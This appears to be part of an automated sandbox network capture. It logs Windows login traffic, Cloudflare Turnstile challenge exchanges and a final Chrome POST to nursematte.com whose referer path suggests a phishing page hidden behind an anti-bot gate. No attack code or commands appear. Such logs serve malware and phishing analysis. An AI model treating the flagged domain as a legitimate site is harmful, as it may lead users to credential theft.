2024-08-23 14:21:22 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49733	20.190.159.71	443

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:23 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4710 Host: login.live.com
2024-08-23 14:21:23 UTC	4710	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-08-23 14:21:23 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 23 Aug 2024 14:20:23 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_SN1 x-ms-request-id: b3726e72-5516-44d9-a321-2aac2071ef85 PPServer: PPV: 30 H: SN1PEPF0002F94A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 23 Aug 2024 14:21:22 GMT Connection: close Content-Length: 10173
2024-08-23 14:21:23 UTC	10173	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49734	20.190.159.71	443

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:23 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-08-23 14:21:23 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-08-23 14:21:23 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 23 Aug 2024 14:20:23 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_SN1 x-ms-request-id: 3209d694-83df-4a67-b01f-8ced3da5cac6 PPServer: PPV: 30 H: SN1PEPF0002F069 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 23 Aug 2024 14:21:22 GMT Connection: close Content-Length: 11369
2024-08-23 14:21:23 UTC	11369	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49737	104.18.94.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:25 UTC	927	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1951288111:1724419459:8EAu7ulGDYQ-Xpuv-Cm2AsntVJVkYdoyTkwZrlqscxg/8b7bbf6dd949c43b/76b287cdb3503ee HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34725 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 76b287cdb3503ee sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/pgbyu/0x4AAAAAAAhkfK1nz8jjG-wE/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:25 UTC	16384	OUT	Data Raw: 76 5f 38 62 37 62 62 66 36 64 64 39 34 39 63 34 33 62 3d 42 65 47 4c 67 41 24 25 32 62 32 45 34 75 65 6b 37 50 77 50 77 75 47 24 43 50 59 50 4e 4c 34 38 55 2b 24 67 50 30 38 64 32 24 2d 50 52 74 50 4f 24 72 41 4c 24 74 4b 65 50 48 4b 50 64 63 50 24 57 4a 50 39 50 72 66 48 73 50 61 74 41 59 50 48 73 65 4c 75 34 4c 6c 34 50 4e 50 72 58 55 47 47 4a 38 55 69 50 4c 63 6e 6e 71 74 75 6c 39 74 50 71 50 4a 38 24 6e 50 45 38 55 75 50 55 43 4c 24 59 6c 4c 32 50 4a 76 41 79 59 4c 4c 50 55 39 50 55 4a 47 4b 63 43 64 67 50 75 50 24 58 6e 6e 63 32 4a 34 4c 24 45 41 4b 78 2b 65 48 6b 52 2b 38 50 6e 34 7a 32 74 34 38 78 6e 4b 7a 6e 5a 50 6d 48 47 6e 41 4d 6e 67 50 41 64 57 64 47 36 72 50 24 59 54 52 72 43 36 62 49 6a 52 6e 37 41 6a 62 62 43 50 56 79 42 49 4e 7a 39 34 69 Data Ascii: v_8b7bbf6dd949c43b=BeGLgA$%2b2E4uek7PwPwuG$CPYPNL48U+$gP08d2$-PRtPO$rAL$tKePHKPdcP$WJP9PrfHsPatAYPHseLu4Ll4PNPrXUGGJ8UiPLcnnqtul9tPqPJ8$nPE8UuPUCL$YlL2PJvAyYLLPU9PUJGKcCdgPuP$Xnnc2J4L$EAKx+eHkR+8Pn4z2t48xnKznZPmHGnAMngPAdWdG6rP$YTRrC6bIjRn7AjbbCPVyBINz94i
2024-08-23 14:21:25 UTC	16384	OUT	Data Raw: 38 75 76 70 6d 51 77 4c 32 50 69 50 52 50 75 4c 6b 38 50 47 4c 2b 50 6c 4c 38 4c 42 69 50 7a 50 72 65 24 38 50 31 4c 34 38 75 74 50 37 50 77 34 64 4b 55 59 50 49 47 6d 74 24 41 50 32 4c 6b 32 43 35 50 43 4c 41 32 55 32 50 59 4c 55 32 24 53 50 37 50 64 50 50 59 50 39 4c 55 34 41 76 4c 61 4c 41 50 41 36 50 4d 4c 72 65 50 4c 50 65 4c 39 47 24 56 51 43 34 39 65 55 74 50 35 50 4b 38 6b 4d 50 57 34 64 7a 50 61 57 72 50 57 74 55 37 50 63 38 50 47 24 57 50 4b 4c 55 41 50 74 24 4c 4c 75 32 55 4b 24 41 50 76 47 55 75 50 4e 50 4a 4c 64 53 50 71 4c 55 45 24 34 24 62 4c 6b 34 41 45 50 4e 50 39 61 50 51 74 4a 38 50 4c 55 7a 38 47 50 4b 63 6e 41 74 24 50 6b 65 24 4c 50 35 47 72 4d 6a 50 38 6e 4c 6e 32 4b 75 24 76 4c 39 4c 50 4a 24 4b 41 45 32 39 6a 73 66 4c 4b 39 41 76 Data Ascii: 8uvpmQwL2PiPRPuLk8PGL+PlL8LBiPzPre$8P1L48utP7Pw4dKUYPIGmt$AP2Lk2C5PCLA2U2PYLU2$SP7PdPPYP9LU4AvLaLAPA6PMLrePLPeL9G$VQC49eUtP5PK8kMPW4dzPaWrPWtU7Pc8PG$WPKLUAPt$LLu2UK$APvGUuPNPJLdSPqLUE$4$bLk4AEPNP9aPQtJ8PLUz8GPKcnAt$Pke$LP5GrMjP8nLn2Ku$vL9LPJ$KAE29jsfLK9Av
2024-08-23 14:21:25 UTC	1957	OUT	Data Raw: 2d 62 50 50 38 41 6d 66 71 33 73 71 79 69 33 37 47 45 49 50 31 4c 52 48 58 33 64 66 38 45 74 75 75 56 64 50 67 33 30 4f 79 5a 48 6f 67 6e 47 79 4a 51 66 53 4e 24 4b 75 50 4d 7a 4a 69 50 79 34 48 6f 73 50 42 73 50 70 47 6d 66 33 38 5a 6c 52 77 47 41 4d 39 47 65 68 69 50 64 4e 30 74 41 4c 41 4e 32 4d 75 49 4c 67 54 57 49 50 75 54 54 47 50 56 73 54 65 62 4b 50 77 36 30 48 30 79 50 33 73 75 74 50 31 4c 4d 62 6c 59 42 7a 50 32 75 35 69 73 73 50 50 57 39 37 24 44 48 48 49 37 37 50 34 50 48 50 50 69 2b 36 50 65 64 65 44 54 43 6f 72 50 41 6c 2d 4e 54 65 71 66 69 50 75 47 24 50 6c 34 63 59 38 24 47 39 4c 41 31 77 50 52 79 72 65 7a 50 31 7a 50 65 67 4c 24 6e 32 42 51 37 31 4c 73 38 24 34 50 43 50 55 4c 42 7a 76 4f 4c 4f 30 4e 71 64 6a 42 6e 65 4d 34 55 71 66 49 4c Data Ascii: -bPP8Amfq3sqyi37GEIP1LRHX3df8EtuuVdPg30OyZHognGyJQfSN$KuPMzJiPy4HosPBsPpGmf38ZlRwGAM9GehiPdN0tALAN2MuILgTWIPuTTGPVsTebKPw60H0yP3sutP1LMblYBzP2u5issPPW97$DHHI77P4PHPPi+6PedeDTCorPAl-NTeqfiPuG$Pl4cY8$G9LA1wPRyrezP1zPegL$n2BQ71Ls8$4PCPULBzvOLO0NqdjBneM4UqfIL
2024-08-23 14:21:26 UTC	1363	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4328 Connection: close cf-chl-out: EyV4cbuvxg7KVtvrTL5w+oqalzuPjgpaVeU/KYUk9w7TUh5xZWZJ6CLnCnrnm8sGbd01UhlKmL4t1Wy8snN3KXK5GBt5rN8bA3JyCDiymuBcFpc90UEYoGIhKP+X+2Ity56MuFjDk1qncEfx6yiUyblLarZIL7c/zUhwT/M7jhoJFvSKTaaKS2Pmw7zL78r1jBjHp2AhbfO3/pPlUvM=$IazFGiHZ1JadhKWG cf-chl-out-s: 7+UbH/ntTsUGu1BDt3buC3qkmFbiPw/HD3uoB6Ih++yqyq2lD0bW4fJwobTYDPmIqZ2vxMxyrLxA36XYBbha5BW16rZhHTxBKAlVZlou/OebuCq5XmOrVai0bw0c/a+TkPQp/OTG02LlzncW5V8N0Mhv9+8S/4zg5BYp33+C4SGXmDDv4CnMLPppq1KcLeY4umdR90mQ7XTObtQg/EH3AcKjckm5MRkKTMDUjpRqjw5boPTRtrqw3jn6+tOd8jUbau/kmqnYqNkd1rb+8t7q0dOrcuImHVor6n3WxrDlv3NVukJ4DwLRSlr8iFaPTFiXJ9OL5rn6Xusy0I6gSi5xwASyZtY087mivtDxCRS36R0VDc4J/UV7M/vM+gbCa8sWzDYv8j7+ohn3UBi5Z5UQj6QjICZHszvAXrR+v7mHQZLckzoflaoPn6TVy2blrM16Uw9yKHmC/bwjg3K3RSw0bk3ANu9QHQNg1Q7Q9rqPdD042JZN2C1C3jgZf8t2S08380K4/V06gcXzeXd3tpQS/6KzwoGyFCIRFVOm8zhXV2FdzQ6ob+GiDQTuf1+AvMEeDWYwKCWtRYOxRo2EULCORDGJ8IK90tnMf5f+S+UvhShIKNZu6k7lTtPwudu2vGH2B9UuCMyfsRLQgoaUbqFadZuYBrQgYBMgSaN0gUz09I6Lx7GeAyafxNb7ln8wtzVB/EKUNVzUp5zm7OtcEtbfRhvbT6PDtetml5hTqEgkrsnJu0H3YUQsfeupq9yRKrJIpQMJH9qetk86vzapucV97tZxEeY+8oHAF1i6a8PUq3ciImvo8g7e0ChEdkef84bXWCrM533MHtu13MR1jvKOOlq0AP9QumO7s7bYNhrUGnfGdHnLeXbTkh/0Fb5FR4q09/DblT+5+Rh9WoSzPNK+FIaoohsxAhioSw==$SpWMqV9meTWOjPKh Server: cloudflare
2024-08-23 14:21:26 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 62 37 62 62 66 62 64 38 62 30 39 35 35 38 66 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 8b7bbfbd8b09558f-EWRalt-svc: h3=":443"; ma=86400
2024-08-23 14:21:26 UTC	1313	IN	Data Raw: 74 6e 69 4f 6b 58 69 65 75 36 2b 33 75 63 4f 31 74 59 61 34 70 73 65 63 79 5a 6d 4e 6c 71 62 4f 6a 64 43 68 6a 4b 57 6c 30 74 61 6f 6f 38 6d 74 71 37 57 58 31 4b 36 77 78 4a 36 78 73 65 57 6b 74 62 58 71 74 38 54 74 75 4c 6a 44 38 74 36 79 39 74 2f 46 72 72 65 77 73 73 53 7a 2f 4d 37 2b 75 39 72 4f 30 41 53 34 34 74 63 42 36 67 54 61 41 64 34 4e 36 66 48 74 30 67 34 46 39 41 76 4f 43 65 6e 34 47 76 45 56 47 52 6e 54 47 78 54 68 48 75 45 6b 32 69 67 6b 4a 66 67 6d 4a 79 33 71 43 53 63 52 45 51 62 2b 4d 69 59 4c 42 66 49 61 44 54 37 2b 47 67 35 43 49 52 30 41 4d 44 68 4b 42 79 49 35 51 77 77 46 52 45 63 63 54 51 30 79 51 52 52 56 54 46 6f 38 4b 6c 52 57 4d 44 35 64 51 52 74 44 51 6c 6c 49 4f 32 64 43 4f 57 63 66 4a 6b 68 6b 59 46 4a 70 4c 58 4a 48 59 30 70 Data Ascii: tniOkXieu6+3ucO1tYa4psecyZmNlqbOjdChjKWl0taoo8mtq7WX1K6wxJ6xseWktbXqt8TtuLjD8t6y9t/FrrewssSz/M7+u9rO0AS44tcB6gTaAd4N6fHt0g4F9AvOCen4GvEVGRnTGxThHuEk2igkJfgmJy3qCScREQb+MiYLBfIaDT7+Gg5CIR0AMDhKByI5QwwFREccTQ0yQRRVTFo8KlRWMD5dQRtDQllIO2dCOWcfJkhkYFJpLXJHY0p
2024-08-23 14:21:26 UTC	1369	IN	Data Raw: 6d 43 4a 62 33 46 79 68 49 56 32 64 47 36 54 57 36 4a 72 6e 47 47 42 70 4a 68 6b 71 4a 69 5a 68 6e 71 4c 6a 47 31 39 66 35 79 4c 70 62 47 7a 6a 6f 61 4c 72 49 36 2f 64 34 71 51 77 35 2b 77 6e 70 47 39 78 5a 53 6b 79 70 6d 6d 6d 63 71 64 70 4b 69 72 69 36 71 77 73 4b 47 6f 6d 70 72 4a 73 61 6a 56 75 4b 36 72 75 36 53 65 35 61 4c 6c 74 73 4c 56 35 63 61 35 70 71 75 37 7a 73 76 6c 7a 66 4b 2f 7a 4c 54 34 36 64 54 49 79 62 72 31 7a 4e 77 43 2b 4d 34 46 43 66 48 55 2b 41 6e 2b 78 67 44 4b 44 4f 48 72 33 2b 37 75 37 68 6b 4b 36 77 33 75 37 66 51 52 36 67 37 30 49 67 41 52 2f 42 67 57 4a 66 63 62 4b 69 6e 39 48 79 49 6b 42 67 37 71 48 51 41 6c 38 6a 63 47 44 7a 45 73 43 54 73 58 4d 51 34 63 49 42 77 43 4d 78 63 36 42 54 6f 62 50 52 73 6c 49 7a 6f 66 50 78 39 48 Data Ascii: mCJb3FyhIV2dG6TW6JrnGGBpJhkqJiZhnqLjG19f5yLpbGzjoaLrI6/d4qQw5+wnpG9xZSkypmmmcqdpKiri6qwsKGomprJsajVuK6ru6Se5aLltsLV5ca5pqu7zsvlzfK/zLT46dTIybr1zNwC+M4FCfHU+An+xgDKDOHr3+7u7hkK6w3u7fQR6g70IgAR/BgWJfcbKin9HyIkBg7qHQAl8jcGDzEsCTsXMQ4cIBwCMxc6BTobPRslIzofPx9H
2024-08-23 14:21:26 UTC	1369	IN	Data Raw: 71 5a 6b 70 4b 50 6a 35 56 77 59 70 79 5a 6f 6d 43 6b 65 49 68 6b 6d 6f 31 38 6e 70 31 72 67 4a 47 68 71 36 65 45 70 58 69 55 6c 4b 6d 32 66 35 2b 61 74 36 37 41 6f 34 43 51 6d 62 53 79 72 4d 32 72 72 4a 69 37 76 34 71 77 6b 63 79 4f 6f 5a 44 54 77 37 43 54 75 74 65 73 72 39 72 61 6f 36 4c 66 6e 72 44 42 31 37 32 30 33 38 37 67 30 4f 58 50 30 4c 7a 4b 33 75 6e 79 79 64 54 76 30 4f 76 6e 38 63 6a 4f 34 62 7a 32 35 4f 48 6a 30 4e 66 6c 35 2f 73 4c 37 64 7a 63 44 2b 37 78 36 52 59 41 7a 2f 44 32 43 65 72 6c 35 50 63 48 43 79 45 43 33 66 44 69 41 39 37 77 2b 51 58 35 34 77 55 58 35 65 7a 6e 48 67 58 7a 38 79 55 47 4a 78 4d 59 39 43 38 64 48 44 51 37 2b 7a 6e 39 46 66 35 41 47 53 6b 6a 4b 43 6f 71 47 6a 74 43 48 51 78 4c 43 7a 55 72 55 7a 51 70 4e 56 51 55 4d Data Ascii: qZkpKPj5VwYpyZomCkeIhkmo18np1rgJGhq6eEpXiUlKm2f5+at67Ao4CQmbSyrM2rrJi7v4qwkcyOoZDTw7CTutesr9rao6LfnrDB1720387g0OXP0LzK3unyydTv0Ovn8cjO4bz25OHj0Nfl5/sL7dzcD+7x6RYAz/D2Cerl5PcHCyEC3fDiA97w+QX54wUX5eznHgXz8yUGJxMY9C8dHDQ7+zn9Ff5AGSkjKCoqGjtCHQxLCzUrUzQpNVQUM
2024-08-23 14:21:26 UTC	277	IN	Data Raw: 43 6c 31 2b 68 59 6f 4e 68 58 48 71 66 5a 36 6d 59 6e 6e 36 64 61 61 61 78 72 72 4b 75 75 49 75 75 68 4a 5a 33 6c 36 75 52 73 58 2b 50 6b 72 6d 2b 68 4a 57 34 79 35 75 74 72 36 69 2f 73 62 43 78 73 62 57 50 72 61 62 4c 6c 62 7a 4b 7a 35 71 6f 7a 35 37 5a 33 73 54 59 73 75 6a 6c 79 4b 58 43 36 65 48 4f 71 73 72 6e 79 65 58 51 37 50 44 48 37 73 76 55 31 38 6a 6e 7a 2f 43 37 34 76 66 57 41 37 37 58 43 50 4d 42 39 4f 48 38 37 51 66 6d 2b 65 62 6a 2f 76 58 6c 41 77 44 58 47 76 62 75 38 66 76 35 38 78 67 51 41 67 58 68 42 64 2f 6a 34 67 72 6a 44 53 6b 5a 36 50 67 6d 44 2b 77 7a 4e 53 54 77 41 65 38 6e 39 44 4d 49 46 41 76 34 51 69 49 4f 4f 53 45 76 4a 78 73 2f 42 7a 63 70 47 54 73 66 52 6a 6b 36 44 69 73 65 44 55 4a 48 4d 54 4a 4c 54 6a 78 47 55 53 41 71 54 55 Data Ascii: Cl1+hYoNhXHqfZ6mYnn6daaaxrrKuuIuuhJZ3l6uRsX+Pkrm+hJW4y5utr6i/sbCxsbWPrabLlbzKz5qoz57Z3sTYsujlyKXC6eHOqsrnyeXQ7PDH7svU18jnz/C74vfWA77XCPMB9OH87Qfm+ebj/vXlAwDXGvbu8fv58xgQAgXhBd/j4grjDSkZ6PgmD+wzNSTwAe8n9DMIFAv4QiIOOSEvJxs/BzcpGTsfRjk6DiseDUJHMTJLTjxGUSAqTU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49739	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:26 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1951288111:1724419459:8EAu7ulGDYQ-Xpuv-Cm2AsntVJVkYdoyTkwZrlqscxg/8b7bbf6dd949c43b/76b287cdb3503ee HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:27 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 23 Aug 2024 14:21:26 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: MnZOU1Z0VR2/NPOxELpOMMizIH/pS7Qa9YE=$KvsTNQ8dcGdPq9lH cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8b7bbfc37c85433e-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:27 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49740	162.241.24.35	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:26 UTC	691	OUT	POST /cdn-cgi/challenge-platform/h/b/rc/8b7bbf6dd949c43b HTTP/1.1 Host: nursematte.com Connection: keep-alive Content-Length: 596 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://nursematte.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
